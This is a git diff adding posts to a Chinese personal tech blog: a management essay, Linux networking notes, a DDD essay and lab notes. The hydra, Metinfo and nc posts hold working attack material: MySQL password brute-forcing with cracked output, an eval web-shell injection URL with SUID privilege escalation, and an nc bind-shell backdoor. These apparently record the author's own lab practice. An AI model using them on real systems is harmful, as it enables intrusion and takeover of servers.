+加快节奏还会推动更狭窄的焦点。如果你在同一时间推进过多的方面，你就无法快速行动。接下来将更多地讨论这个问题。 + +# 提高标准 + +在加快速度时，不可避免地会有关于质量的借口。我们不可能如此快地前进并保持质量吧？我们同意，因为我们将更快地前进并提高质量。这对生产力有着复合效应。这不是违反重力，而是从系统中击败了大量的松散因素。直到压力到位，我们才知道自己可以变得更好、更快。 + +我们的承诺让我们在一个领域脱颖而出，那就是对客户的承诺。这是我们能够提供的最高标准的服务和支持。没有什么比让客户成功更重要的了。客户必须为我们唱赞歌，真正感到我们有他们的后盾。我们希望他们不仅喜欢我们，而且还必须爱我们！我们的净推荐得分很高，这不是偶然的。保持这样的标准很难，但我们的文化已经深深地融入了这种精神。 + +我喜欢引用已故的史蒂夫·乔布斯，他只有两种分类：要么是“疯狂的伟大”，要么是“彻底的垃圾”。没有中间地带，史蒂夫把它搞定了。我们的员工很容易理解这种说话方式。难道我们不都想要疯狂地伟大吗？这些话开始潜移默化地进入日常交流中，当人们判断别人的工作不是“疯狂的伟大”时，这是一种委婉的说法，即它是彻底的垃圾。 + +我们还通过询问人们是否喜欢他们的工作或是否热爱它来追求这种对话。喜欢它，是的；热爱它，不是的。因此，让我们下定决心热爱我们所生产的东西，而不仅仅是喜欢它。要对自己所生产的东西有强烈的感觉，甚至是充满热情。这会明显地改变事情。打破心理界限，这就是这种做法。 + +平庸是默默无闻的杀手。组织不会因为 C 级员工而倒闭。每个人都知道他们是谁，绩效最终会得到解决。杀死组织的人是你的 B 级员工。这是企业的祸 + +因为这种员工很多，通常是被接受的。他们经常被认为不够糟糕以致于解雇，但也不够好以至于留下来。他们是终极的乘客。 + +需要对 B 级员工进行筛选：他们要么成为 A 级员工，要么成为 C 级员工并被淘汰。你可以通过提高标准、拒绝平庸的结果来帮助他们。激发你的内心史蒂夫·乔布斯。 + +# 缩小聚焦范围 + +聚焦于核心目标是快速推动事情进展的最快方法。人们天生抗拒聚焦，因为他们无法决定什么是最重要的。这里存在一个问题：人们通常可以在一番思考后告诉你他们的前三个优先事项是什么，但他们很难决定只选一个。他们可能对自己的优先事项也有错误的看法，因此存在错误分配资源的风险。那么聚焦过多或过少是什么？您是否曾经讨论过这个问题？大多数团队都没有足够的聚焦。我很少遇到聚焦过于狭窄的团队。这违背了我们人类的本性。人们喜欢挑战庞大的任务。了解这一点可能对你有利。 + +当您聚焦时，您正在增加对剩余优先事项的资源投入。它不必再与大量其他事情竞争时间片。然后事情开始发生变化，任务得到完成，我们继续下一个事情。许多人和组织的聚焦范围非常广，但深度却只有一英寸。他们进展缓慢不应该让人惊讶。当您筛选出大量活动并制定更少而更清晰的目标时，阻塞现象就会得到解决。一次只做一点。我经常感到，当您解除优先事项的混乱时，命运也会随之而动。就像隐形之手一样，所有的事情突然都在进展。 + +这不仅仅是效率问题。我们需要理清真正重要的事情和不重要的事情，以及何时重要。我们通过宣布多个优先事项来拖延解决这个问题。这让我们听起来思考全面，但它完全缺乏冲击力。直指关键的思维是罕见的。我曾经参加过一些董事会会议，在这些会议上，CEO们会宣布多达十个优先事项。这让我们想起马克·吐温写给我们的长信，因为他没有时间写短信。 + +作为公司层面和CEO，我努力创造了盲目的明晰和唯一的目的。我的工作是增加特许经营权的价值。这是因为我被任命为为投资者（其中包括我们的员工）工作。我只做与该目标具有紧密联系的事情和应用资源。在科技领域，价值是增长的函数，因此我们为增长而运营我们的公司，没有其他目标。当提出与任务不可分辨的支出提案时，这是一个很容易做出的决定。投资者显然是极度同意的。 + +我们为ServiceNow的高管团队设置了一个指标。这无疑是云软件公司最纯粹的绩效指标。我们的董事会反对我这样做。他们相信成熟的公司必须有一个平衡的绩效考核卡，这可能是学术界提出的最糟糕的想法。人们说他们想要聚焦，但他们的行动却与之相反。一旦你明白了这意味着什么，聚焦就变得困难了。你不会做什么？ + +同样地，我们为吸引和留住人才而经营公司，无论性别、种族或民族出身如何。我们重视人们对我们目标的贡献，而不是因为他们有优先的肤色、性别或种族背景。你要么完全专注于你的目标并与之保持一致，要么你就会让各种干扰噪音进来，削弱你有限的资源。我对“多样性和包容性”没有任何反感，只要它是源自我们以目标为导向的执行模式。我们不是大学或非营利组织，这是一家企业。你如果没有聚焦，那么底层的情况将更糟糕。 + +Data Domain和ServiceNow是因为你的优势而雇佣你的，而不是因为你符合某个人口统计标准。好的人不想因为符合某个人口统计标准而被雇佣。我们为我们的员工赚了很多钱，也通过这种方式实现了更多的社会公正。我也不会对与我们的工作毫无关系的任何事情进行公开声明。聚焦是一种纪律。我避免了在我的角色中拥有高尚的社会抱负。我不是自由世界的领袖，只是一位CEO，致力于增加委托给他的特许经营权的价值。 + +到目前为止，我谈到了“领导者”推动这些执行模式的问题。领导者不仅仅是管理职称的人。领导者为他人树立绩效标准。高绩效组织表现出来自各个方向的领导力，这不是一种仅仅自上而下的现象。任何人在任何时候都可以决定成为领导者。这只是一种不同的工作模式。 + +最近几年，我为CEO和管理团队提供了关于这些主题和许多其他主题的建议。他们问了，我们就告诉了他们。有时候我们听到了团队内部对这些执行模式的内化，会非常安静。这让他们感到不安。他们既感兴趣，又担心可能出现的后果。恐惧不是好的决策依据。 + +随意观察表明，领导者很难采取行动。他们认为这太过严格，担心会有反弹，人们会离开他们。每个人都想要结果，但并不是每个人都想要做出那些需要的事情。尽管如此，我也看到领导者在这方面有所改善，大力增强组织，取得了惊人的成果，并且永不回头。 + +像这样以绩效为中心的思维方式并不符合流行态度。公司更关注员工的NPS评分，而不是顾客的评分。他们纵容他们的员工。他们陷入了与他们的使命无关的事情中。执行这样的思维需要信念和勇气。正如威廉·华莱士在《勇敢的心》中所说，“人们不会跟随头衔，他们跟随勇气。”当好的结果出现时，你将受到极大的欢迎。那正是人们想要的。 + +总之，这篇文章主要讨论了如何聚焦于核心目标，并指出了聚焦所带来的好处。通过避免多重优先事项，提高对有限资源的利用效率，并保持明确的、独特的目标，可以更加高效地完成任务。此外，文章还提出了对领导者的要求：只关注和目标有直接关系的事情，保持执行的纪律和勇气。 + +这种方式不仅适用于企业，也适用于个人。每个人都可以通过聚焦于自己的核心目标来提高自己的效率和成就。在进行决策时，需要关注自己的目标，并确保每个决策都与这些目标一致。聚焦并不意味着放弃多样性和包容性，而是意味着这些因素应该源自于我们的目标导向的执行模式。 + +最后，需要强调的是，聚焦不是一种轻松的选择。它需要持续的努力和执行纪律，以确保实现目标。但是，聚焦也是一种非常有效的方法，可以帮助我们更加高效地完成任务，并取得更好的成果。 + + +[最成功的软件企业家](http://www.ruanyifeng.com/blog/2023/04/weekly-issue-249.html) + + +这本书还没有中文版，但是他本人的其他文章以及书评，已经透露了一些主要做法。 + +看到这些措施，我不由倒吸一口冷气。别看照片上他很温和，一旦管理起公司，手腕真是非常强硬，不输给华为。 + +"我们的公司是海军陆战队，不是和平队。平静的生活不属于我们。像我们这样的创业公司，每天都要为了生存而与巨头对抗。我们是偏执狂，时时刻刻感到生存受威胁。加入我们，你必须有战斗心态。" + +下面我就分享他的做法，你看看厉害不厉害。 + +（1）加快节奏，时刻要求员工以更快的速度完成工作。 + +如果你说一周后可以有结果，他就问你为什么不能明天或后天出结果？这倒不是因为着急，而是他要增加所有人的紧迫感。 + +公司变大了，就会行动迟缓，不愿意冒险。只有加快节奏，才能让公司始终充满活力，保持兴奋度。 + +他说："要求某人做某事快20%，他们会使用传统策略。如果要求快2,000%，他们将不得不推翻所有基本假设，使用非传统策略，进行重大创新。" + +（2）要求员工思考一些极端问题，打破传统思维的束缚。 + +你如何在接下来的六个月内实现你的10年目标？ + +如果每周只能工作一天，我们应该如何改变工作方式？ + +如果现有的营销渠道都消失了，我们将如何发展新客户？ + +产品增加什么特性，可以让价格提高10倍？ + +如果你有10倍的资源，会对产品做哪些改变？ + +（3）提出明确的、雄心勃勃的目标，鼓励员工大胆行动。iPod mini 的早期口号是"口袋里有 1,000 首歌曲"，SpaceX 公司的目标是让人类成为"多星球物种"。目标越清晰、越雄心勃勃，传统的惰性思维就越难生存。 + +（4）拒绝平庸的产品。他采取史蒂夫·乔布斯的标准，产品只有两种，要么是非常棒，要么是一塌糊涂，没有中间等级。 + +员工开发出新产品和新功能时，他会问："你兴奋吗？你从心里喜欢它吗？"如果没有得到肯定答复，产品就必须重新调整。 + +（5）一流员工得到高额奖金。 每个季度末，公司都要举行绩效评定，一年要评4次绩效。 + +绩效分布是一个钟形曲线，高绩效员工总是头部的少数人，可以得到极高的奖金。奖金放在一个奖金池，其他人只能分剩下的奖金，或者根本没有奖金。大多数公司里面，一流员工的薪水，相比他们的贡献都偏低，这不利于激励优秀员工。 + +（6）缩小焦点，他要求员工只关注最重要的事情。"请列出接下来需要解决的100个问题，然后只留下最重要的问题1和问题2，放弃其他98个问题。" + +任何偏离核心使命的事情都会让人分心。对于同一个团队的每个成员，他分别挨个问："你们团队的优先事项是什么？" 如果答案不一致，他就知道团队不够专注，必须整改。 \ No newline at end of file diff --git a/_posts/2023-09-06-615-nmap.md b/_posts/2023-09-06-615-nmap.md new file mode 100644 index 0000000..1e21475 --- /dev/null +++ b/_posts/2023-09-06-615-nmap.md @@ -0,0 +1,37 @@ +--- +layout: post +title: nmap +pid: 615 +tags: [linux] +--- + +``` +nmap -p- 192.168.31.42 + +查看192.168.31.42有多少端口是打开的 + +nmap -p 3306 192.168.31.0/24 + +查看在192.168.31.？网段中哪些电脑的3306端口是打开的 + +nmap 154.29.149.116 -sV -T4 -O -p 20,3000 +``` + + + + + +https://blog.csdn.net/weixin_46065653/article/details/126629475 + +https://blog.csdn.net/m0_64910183/article/details/126613206 + +https://blog.csdn.net/weixin_45597678/article/details/118583047 + +https://blog.csdn.net/zwm_20211031_475/article/details/127578632 + + + + + + + diff --git a/_posts/2023-09-06-616-whois.md b/_posts/2023-09-06-616-whois.md new file mode 100644 index 0000000..3d431a0 --- /dev/null +++ b/_posts/2023-09-06-616-whois.md @@ -0,0 +1,15 @@ +--- +layout: post +title: whois +pid: 616 +tags: [linux] +--- + +```` +whois 目标IP +whois 58.33.90.30 +whois anycase.cn +```` + + + diff --git a/_posts/2023-09-06-617-ipinfo.md b/_posts/2023-09-06-617-ipinfo.md new file mode 100644 index 0000000..981dbc8 --- /dev/null +++ b/_posts/2023-09-06-617-ipinfo.md @@ -0,0 +1,8 @@ +--- +layout: post +title: ipinfo +pid: 617 +tags: [linux] +--- + +`curl ipinfo.io` diff --git a/_posts/2023-09-06-618-arp.md b/_posts/2023-09-06-618-arp.md new file mode 100644 index 0000000..97babce --- /dev/null +++ b/_posts/2023-09-06-618-arp.md @@ -0,0 +1,18 @@ +--- +layout: post +title: arp +pid: 618 +tags: [linux] +--- + +``` +arp -a | grep f0:9e:4a:34:61:5b +查询mac地址对应的IP地址 +``` + + + + + + + diff --git a/_posts/2023-09-06-619-netstat.md b/_posts/2023-09-06-619-netstat.md new file mode 100644 index 0000000..3dc8dab --- /dev/null +++ b/_posts/2023-09-06-619-netstat.md @@ -0,0 +1,27 @@ +--- +layout: post +title: netstat +pid: 619 +tags: [linux] +--- + +``` +mac中使用 + +netstat -an | grep LISTEN + +查看当前打开的端口 + +centos中使用 + +netstat -nao 或者 netstat -nlp +``` + + + + + + + + + diff --git a/_posts/2023-09-06-620-lsof.md b/_posts/2023-09-06-620-lsof.md new file mode 100644 index 0000000..a52965d --- /dev/null +++ b/_posts/2023-09-06-620-lsof.md @@ -0,0 +1,16 @@ +--- +layout: post +title: lsof +pid: 620 +tags: [linux] +--- + +``` +使用 `lsof` 命令查看哪些进程在使用特定端口： + +sudo lsof -i :端口号 +``` + + + + diff --git a/_posts/2023-09-07-621-kali.md b/_posts/2023-09-07-621-kali.md new file mode 100644 index 0000000..ae23856 --- /dev/null +++ b/_posts/2023-09-07-621-kali.md @@ -0,0 +1,19 @@ +--- +layout: post +title: kali +pid: 622 +tags: [linux, kali] +--- + + + + + +``` +kali - kali + + +``` + + + diff --git a/_posts/2023-09-07-622-ssh.md b/_posts/2023-09-07-622-ssh.md new file mode 100644 index 0000000..fd75c9a --- /dev/null +++ b/_posts/2023-09-07-622-ssh.md @@ -0,0 +1,30 @@ +--- +layout: post +title: ssh +pid: 622 +tags: [linux, kali] +--- + + + + + +``` +sudo systemctl status ssh +sudo systemctl start ssh + +vim /etc/ssh/sshd_config +PermitRootLogin prohibit-password +PubkeyAuthentication yes + +sudo systemctl reload ssh + +log +/var/log/auth.log +/var/log/secure + + +``` + + + diff --git a/_posts/2023-09-07-623-hydra.md b/_posts/2023-09-07-623-hydra.md new file mode 100644 index 0000000..dab937c --- /dev/null +++ b/_posts/2023-09-07-623-hydra.md @@ -0,0 +1,77 @@ +--- +layout: post +title: hydra +pid: 623 +tags: [linux, kali] +--- + + +## mysql + + + +``` +mysql -h 主机名称 -u 用户名 -p +hydra -l 用户名 -P 密码字典路径 目标主机ip mysql + +mysql -h 192.168.31.42 -u root -p + +nmap -p 3306 192.168.31.0/24 +``` + +``` +Nmap scan report for WIN-T81MNRCRHJI (192.168.31.42) +Host is up (0.071s latency). + +PORT STATE SERVICE +3306/tcp open mysql +``` + +``` +hydra -l root -P '/home/kali/password.txt' 192.168.31.42 mysql +``` + +``` +┌──(kali㉿kali)-[~] +└─$ hydra -l root -P '/home/kali/password.txt' 192.168.31.42 mysql +Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). + +Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-07 01:48:16 +[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections) +[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:1/p:4), ~1 try per task +[DATA] attacking mysql://192.168.31.42:3306/ +[3306][mysql] host: 192.168.31.42 login: root password: root +1 of 1 target successfully completed, 1 valid password found +Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-07 01:48:19 + +``` + + + +## Metasploit（MSF渗透） + +``` +msfconsole +use auxiliary/scanner/mysql/mysql_login +show options + +set rhosts 192.168.31.42 +set rport 3306 +set username root +set pass_file /home/kali/password.txt +run +``` + +``` +[+] 192.168.31.42:3306 - 192.168.31.42:3306 - Found remote MySQL version 5.5.40 +[!] 192.168.31.42:3306 - No active DB -- Credential data will not be saved! +[-] 192.168.31.42:3306 - 192.168.31.42:3306 - LOGIN FAILED: root: (Incorrect: Access denied for user 'root'@'192.168.31.230' (using password: NO)) +[-] 192.168.31.42:3306 - 192.168.31.42:3306 - LOGIN FAILED: root:1212 (Incorrect: Access denied for user 'root'@'192.168.31.230' (using password: YES)) +[-] 192.168.31.42:3306 - 192.168.31.42:3306 - LOGIN FAILED: root:3424 (Incorrect: Access denied for user 'root'@'192.168.31.230' (using password: YES)) +[+] 192.168.31.42:3306 - 192.168.31.42:3306 - Success: 'root:root' +[*] 192.168.31.42:3306 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + + + diff --git a/_posts/2023-09-07-624-locked_object.md b/_posts/2023-09-07-624-locked_object.md new file mode 100644 index 0000000..72670b1 --- /dev/null +++ b/_posts/2023-09-07-624-locked_object.md @@ -0,0 +1,46 @@ +--- +layout: post +title: locked_object +pid: 624 +tags: [oracle, kali] +--- + + + +``` +SELECT + s.USERNAME , + s.STATUS , + s.SCHEMANAME , + s.OSUSER , + s.PROCESS , + s.MACHINE , + s.PROGRAM +FROM + v$session s +WHERE + s.STATUS = 'ACTIVE'; + +SELECT * FROM "V$TRANSACTION" ; + +SELECT + s.username, + s.status, + s.OSUSER, + do.object_name, + do.object_type, + s.process, + s.machine, + s.PROGRAM, + lo.PROCESS +FROM + v$locked_object lo +LEFT JOIN DBA_OBJECTS do ON + lo.OBJECT_ID = do.OBJECT_ID +LEFT JOIN v$session s ON + lo.ORACLE_USERNAME = s.USERNAME + AND lo.OS_USER_NAME = s.OSUSER; + +ALTER TABLE <表名> UNLOCK; +``` + diff --git a/_posts/2023-09-08-625-metinfo.md b/_posts/2023-09-08-625-metinfo.md new file mode 100644 index 0000000..eee5fa6 --- /dev/null +++ b/_posts/2023-09-08-625-metinfo.md @@ -0,0 +1,202 @@ +--- +layout: post +title: Metinfo +pid: 625 +tags: [php] +--- + +## install nginx + +``` +yum install nginx +systemctl start nginx +systemctl enable nginx + +http://47.102.216.64 +``` + + + +## intall PHP、PHP-FPM + +``` +yum install php php-fpm php-mysql php-devel php-gd php-pecl-memcache php-pspell php-snmp php-xmlrpc php-xml php-pdo php-pgsql php-pecl-redis php-soap +php -v +``` + +## 配置 nginx 解析 php + +``` +vim /etc/nginx/nginx.conf + +location ~ \.php$ { +try_files $uri =404; +fastcgi_pass unix:/var/run/php-fpm/php-fpm.sock; +fastcgi_index index.php; +fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; +include fastcgi_params; + +###Save user landing page to cookie: srcid for PHP files +##add_header Set-Cookie $srcid; +} + +location / { + try_files $uri $uri/ /index.php?$query_string; +} +``` + +## 修改 php-fpm 配置文件 + +``` +vim /etc/php-fpm.d/www.conf + +user = nginx +group = nginx +listen = /var/run/php-fpm/php-fpm.sock + +listen.owner = nignx +listen.group = nginx +listen.mode = 0660 +``` + +## 修改 php.ini + +``` +vim /etc/php.ini + +cgi.fix_pathinfo=0 + +systemctl restart php-fpm nginx +``` + +## 测试配置是否成功 + +``` +vim /usr/share/nginx/html/test.php + + + +http://47.102.216.64/test.php +``` + +## intall mysql + +``` +# remove old version + +yum list installed mysql* +rpm -qa | grep mysql* + +uname -m + +cat /etc/redhat-release + +https://dev.mysql.com/downloads/repo/yum/ + +https://dev.mysql.com/downloads/mysql/ + +wget https://repo.mysql.com//mysql80-community-release-el7-10.noarch.rpm + +rpm -ivh mysql80-community-release-el7-10.noarch.rpm + +yum info mysql-community-server + +yum -y install mysql-community-server + +systemctl status mysqld + +systemctl start mysqld + +systemctl status mysqld + +# 查询初始密码 + +less /var/log/mysqld.log + +mysqladmin -u root -p password + +mysql -h 127.0.0.1 -u root -p +``` + +## install metinfo + +``` +wget http://www.metinfo.cn/upload/file/MetInfo5.3.zip +unzip -d ./metinfo MetInfo5.3.zip +http://47.102.216.64/install/index.php + +yum search php |grep mbstring +yum install php-mbstring.x86_64 +systemctl restart php-fpm nginx + +vim /etc/php.ini +session.save_path = "/tmp" +systemctl restart php-fpm nginx + + +use mysql +ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'new password'; +FLUSH PRIVILEGES; + +http://47.102.216.64/admin/index.php + +``` + + + +## 攻击 + +``` +http://47.102.216.64/admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST[2]);/* + +http://47.102.216.64/admin/column/index.php?anyid=&lang=cn&turnovertext=%E6%93%8D%E4%BD%9C%E6%88%90%E5%8A%9F + +``` + +## 执行蚁剑 + +``` +http://47.102.216.64/upload/index.php +可以打开界面和命令行进行操作 +``` + +## cat index.php + +``` + +``` + +## 提权 + +``` +(nginx:/usr/local/metinfo/upload) $ whoami +nginx + +find / - user root -perm -4000 -print 2>/dev/null +chmod u+s /usr/bin/find +find / - user root -perm -4000 -print 2>/dev/null + +(nginx:/usr/local/metinfo/upload) $ find index.php -exec whoami \; +root +``` + + + +http://www.52bug.cn/hkjs/5586.html + +https://www.kingkk.com + +https://blog.csdn.net/u012241616/article/details/120485887 + diff --git a/_posts/2023-09-08-626-nc.md b/_posts/2023-09-08-626-nc.md new file mode 100644 index 0000000..0ce3828 --- /dev/null +++ b/_posts/2023-09-08-626-nc.md @@ -0,0 +1,72 @@ +--- +layout: post +title: nc +pid: 626 +tags: [linux] +--- + +nc and ncat + +## 安装 + +``` +yum -y install nmap-ncat +``` + +## 检查TCP的80端口的连接 + +``` +nc -vz anycase.cn 80 +``` + +## 创建一个监听端口 + +``` +在A电脑操作： +nc -vl 1234 +netstat -tlunp + +在B电脑操作： +nc -vz 172.18.10.110 1234 +``` + +## 作为聊天工具 + +``` +在A电脑操作： +nc -l 8080 + +在B电脑操作： +nc 172.18.10.110 8080 +``` + +## 检查SSH软件版本 + +``` +echo "EXIT" | nc 172.18.10.102 22 +``` + +## 使用ncat创建后门 + +``` +在服务端： +nc -l 5566 -e /bin/bash + +客户端： +nc 172.18.10.110 5566 + +可以通过客户端发送linux 命令 +``` + +## 使用ncat运行带有静态页面的Web服务器 + +``` +while true; do nc -l -p 88 < /root/a.html ; done + +while true ; do echo -e "HTTP/1.1 200 OK\n\n $(date)" | nc -l -p 1500 ; done + +telnet 172.18.10.110 88 +``` + + + diff --git a/_posts/2023-09-11-627-eval.md b/_posts/2023-09-11-627-eval.md new file mode 100644 index 0000000..789afe3 --- /dev/null +++ b/_posts/2023-09-11-627-eval.md @@ -0,0 +1,20 @@ +--- +layout: post +title: eval +pid: 627 +tags: [linux] +--- + + + +``` +# 将命令存储在变量中 +command="ls -l" + +# 使用eval执行命令并将结果赋值给变量result +result=$(eval $command) + +# 打印结果 +echo $result +``` + diff --git a/_posts/2023-09-19-628-ddd.md b/_posts/2023-09-19-628-ddd.md new file mode 100644 index 0000000..68815f2 --- /dev/null +++ b/_posts/2023-09-19-628-ddd.md @@ -0,0 +1,103 @@ +--- +layout: post +title: 领域驱动设计（DDD）的认知与理解 +pid: 628 +tags: [ddd] +--- + +# 领域驱动设计（DDD）的认知与理解 + +## 从现实世界到IT系统 + +我们为什么需要IT系统？IT信息系统或者数字化可以为我们提供两个重要的价值。首先是精细化管理，我们可以通过IT系统将操作过程中的每个细节都记录下来，并对细节进行优化。其次是可以通过较低的成本实现规模化，而不用支付更多的成本。 + +总的来说，大多数IT系统是通过降本增效的方式来创造价值。 + +如果一个公司自身规模较小，实际上有没有数字化并没有太大的差异，纸质表格或者Excel解决问题，要远比建立一个IT系统来的方便。 + +现实世界充满的复杂性，主要有以下几个方面的重要原因。第一个是个体人的复杂性。第二个是组织行为的复杂性，第三个是外在环境的复杂性。 + +### 人的复杂性受到哪些因素影响 + +1. **遗传和基因：** 个体的基因组可以影响他们的生理和心理特征，包括性格、智力、遗传性疾病等。 +2. **社会文化背景：** 个体所处的文化、社会和家庭环境对其行为有着深刻的影响，包括价值观、信仰、习惯和行为模式。 +3. **认知能力和思维过程：** 个体的认知能力、思考方式和解决问题的方式会影响他们的行为。这包括记忆、决策制定、学习和思维风格。 +4. **情感和情绪：** 个体的情感状态和情绪可以对他们的行为产生重大影响。情感可以包括愉快、焦虑、愤怒、悲伤等。 +5. **社会影响：** 家庭、朋友、同事和社会群体的影响对个体的行为有很大作用。这包括社会支持、压力、群体压力等。 +6. **经济状况：** 个体的财务状况和社会经济地位可以塑造他们的行为，包括消费、储蓄、投资和职业选择。 +7. **教育和学习经历：** 教育程度、学习经历和培训可以塑造个体的技能、知识和职业选择。 +8. **健康和生理状态：** 个体的健康状况、身体疾病、慢性病和药物使用都会影响他们的行为。 +9. **个体目标和动机：** 个体的目标、动机和愿望会驱动他们的行为，包括追求成功、满足基本需求、寻求快乐等。 +10. **环境和外部条件：** 个体所处的物理环境、社会环境和政治环境也会影响他们的行为，包括可用资源、法律法规和社会制度。 + +### 组织的复杂性受到哪些因素的影响 + +1. **组织规模和结构：** 组织的规模、层次结构和内部组织形式会显著影响其复杂性。大型组织通常比小型组织更复杂。 +2. **组织目标和战略：** 组织的使命、目标和战略决定了其运作方式，不同的战略可能需要不同的资源和流程。 +3. **内部流程和程序：** 组织的内部业务流程、政策和程序对其复杂性有很大影响。复杂的流程和程序可能导致效率低下。 +4. **员工多样性：** 组织的员工多样性包括文化、技能、背景和经验的多样性。这会影响沟通、协作和决策制定的复杂性。 +5. **技术和信息系统：** 组织采用的技术和信息系统可以显著增加复杂性，尤其是在数字化时代。 +6. **市场竞争和外部环境：** 外部市场的竞争、法规变化、消费者需求变化等因素会影响组织的战略和运营，增加了复杂性。 +7. **领导和管理风格：** 领导者的管理风格和决策方式可以影响组织的文化和工作氛围，从而影响复杂性。 +8. **法律法规和合规性要求：** 组织必须遵守各种法律法规和合规性要求，这些要求可以增加组织的复杂性。 +9. **资源管理：** 资源的分配和管理，包括资金、人力资源和物资，会影响组织的运作和复杂性。 +10. **变革管理和创新：** 组织的能力适应变化和采纳创新也是一个重要因素，因为它们可以影响组织的灵活性和适应性，也可能增加复杂性。 + +### 外部环境的复杂性受到哪些因素的影响 + +1. **全球化：** 全球化使各种国际关系和经济交流更加复杂，包括国际贸易、跨境投资和全球供应链。 +2. **技术进步：** 技术的不断演进和创新对外部环境产生深远影响，包括数字化、自动化、人工智能等。 +3. **市场竞争：** 全球市场上的竞争激烈，各种新兴竞争者和创新产品的涌现增加了复杂性。 +4. **政治和法律环境：** 不同国家和地区的政治和法律环境不断变化，涉及税收政策、贸易法规、合规性要求等。 +5. **社会文化因素：** 消费者需求、价值观和文化因素对产品和服务的需求产生重大影响，对市场策略和品牌形象有影响。 +6. **环境可持续性和气候变化：** 环境问题和气候变化对许多行业和组织的运营产生了新的挑战和法规。 +7. **金融市场：** 金融市场的波动、汇率变化和利率政策会对企业的财务状况和决策产生重要影响。 +8. **自然灾害和突发事件：** 自然灾害、流行病、政治危机等突发事件可以迅速改变外部环境，对组织造成不确定性。 +9. **人口变化：** 人口的增长、老龄化和移民等因素会影响市场规模和劳动力供应。 +10. **科学和技术突破：** 科学研究和技术突破可能导致新产品、新市场和新竞争者的涌现，改变外部环境。 + +其中在人的本质中，最重要的一点是利己思维，就是每一件事情，都会去考虑一下对自己是否有利，如果有利他才会有动力去做，如果是有害的，他会想尽办法去阻挠事情的发展，从而确保自身的利益不受影响。 + +在上述复杂性的基础之上，我们应该如何去构建一个数字化系统，并让系统去承载业务。 + +无论我们是否去做业务系统，业务本身就在哪里，我们可以通过各种方式去收集需求，并通过设计进行编码，最终变成一个数字化系统。 + +首先可以通过原型图去描述业务系统。 + +1. **线框图（Wireframes）：** 线框图是最基本的原型类型，通常以黑白简化的形式展示页面或屏幕上的布局、元素和基本结构，而不考虑颜色、字体或细节。 +2. **低保真原型（Low-Fidelity Prototypes）：** 这种原型通常包括简单的线框图，用于展示用户界面的基本布局和交互元素，但不包括详细的设计或视觉效果。 +3. **高保真原型（High-Fidelity Prototypes）：** 高保真原型包括更多的细节和设计元素，通常包括颜色、字体、图像和更精细的交互效果，以更准确地模拟最终产品的外观和感觉。 +4. **互动原型（Interactive Prototypes）：** 互动原型允许用户模拟产品的实际使用体验，包括可以点击、滚动和与之交互的元素，以便测试和验证功能。 +5. **纸质原型（Paper Prototypes）：** 纸质原型是通过手工绘制或剪贴的方式创建的原型，通常用于快速的初步设计和用户测试。 +6. **数字原型（Digital Prototypes）：** 数字原型使用原型工具或设计软件创建，可以更轻松地共享和修改，并允许添加互动和动画效果。 +7. **移动应用原型（Mobile App Prototypes）：** 这种原型是专门为移动应用程序设计的，通常包括对手机或平板电脑上的交互和布局进行建模。 +8. **桌面应用原型（Desktop App Prototypes）：** 这种原型适用于桌面应用程序，通常涵盖桌面操作系统上的用户界面和功能。 +9. **Web 应用原型（Web App Prototypes）：** 专为Web应用程序设计的原型，通常模拟网页上的布局、导航和交互。 +10. **三维原型（3D Prototypes）：** 这种原型用于建模和演示三维产品或环境，例如虚拟现实（VR）或增强现实（AR）应用程序。 + +也可以通过一些流程图去描述系统。 + +1. **基本流程图（Flowchart）：** 基本流程图是最常见的类型，用于展示一系列步骤或决策，通常使用标准的流程图符号。 +2. **数据流图（Data Flow Diagram，DFD）：** DFD图用于显示系统、应用程序或业务过程中数据的流动和处理方式，突出数据输入、输出和处理的关系。 +3. **活动图（Activity Diagram）：** 活动图是用于可视化业务流程、系统交互和工作流程的UML图，通常用于软件开发和系统建模。 +4. **状态图（Statechart Diagram）：** 状态图描述了对象或系统在不同状态之间的转换和行为，通常用于建模有限状态机。 +5. **程序逻辑图（Program Logic Diagram）：** 这种图用于表示编程逻辑，通常用于软件开发和算法设计。 +6. **价值流图（Value Stream Map）：** 价值流图用于分析和改进价值流程，特别是在精益生产和持续改进领域中使用。 +7. **时间线（Timeline）：** 时间线图用于显示一系列事件或任务的时间顺序和持续时间。 +8. **甘特图（Gantt Chart）：** 甘特图用于项目管理，显示任务的时间表、依赖关系和进度。 +9. **结构图（Structure Chart）：** 结构图通常用于软件设计，用于显示模块、子程序和函数之间的层次结构和调用关系。 +10. **管道和仪表图（Piping and Instrumentation Diagram，P&ID）：** P&ID图用于显示工厂和处理工程中的管道、仪器和控制系统。 +11. **组织图（Organizational Chart）：** 组织图显示组织中不同部门、职位和层次之间的关系和层次结构。 +12. **网络图（Network Diagram）：** 网络图用于显示项目的任务、依赖关系和关键路径，通常与项目管理一起使用。 + + + +1. 现实世界开展的业务流程 +2. 业务系统的泳道图 +3. 业务系统的流程图 +4. 业务系统的线框图（原型图） +5. 业务系统的 + + + +在通常人们的认知中，现实世界是充满趣味的、复杂的、难以理解的。尤其是加入了个体的很多特性，比如自私、贪婪等会增加这个世界的复杂程度。 diff --git a/_posts/2023-09-22-629-eoa.md b/_posts/2023-09-22-629-eoa.md new file mode 100644 index 0000000..f2c70ff --- /dev/null +++ b/_posts/2023-09-22-629-eoa.md @@ -0,0 +1,218 @@ +--- +layout: post +title: 职场冷暴力 +pid: 629 +tags: [岗前培训] +--- + +emotional office abuse 职场冷暴力 + +职场冷暴力不仅会对受害者造成伤害，还会对整个团队产生负面影响，如降低工作效率、破坏团队合作等。因此，应该采取积极的措施来预防和处理职场冷暴力问题。 + +职场冷暴力不违法，但是不道德，从轻到重，总有一款可以让你崩溃的。 从言语和沟通上的无视、孤立、排挤、加班、扣绩效等等，都是非常可怕的，如果你遇到这样的情况，请在第一时间选择离开，尽可能的去保护好自己的权益。 + +雇主（企业主）：短期发展与可持续发展的权衡。 + +雇员（员工）：个人盘算，这样的交换是不是值得。 + 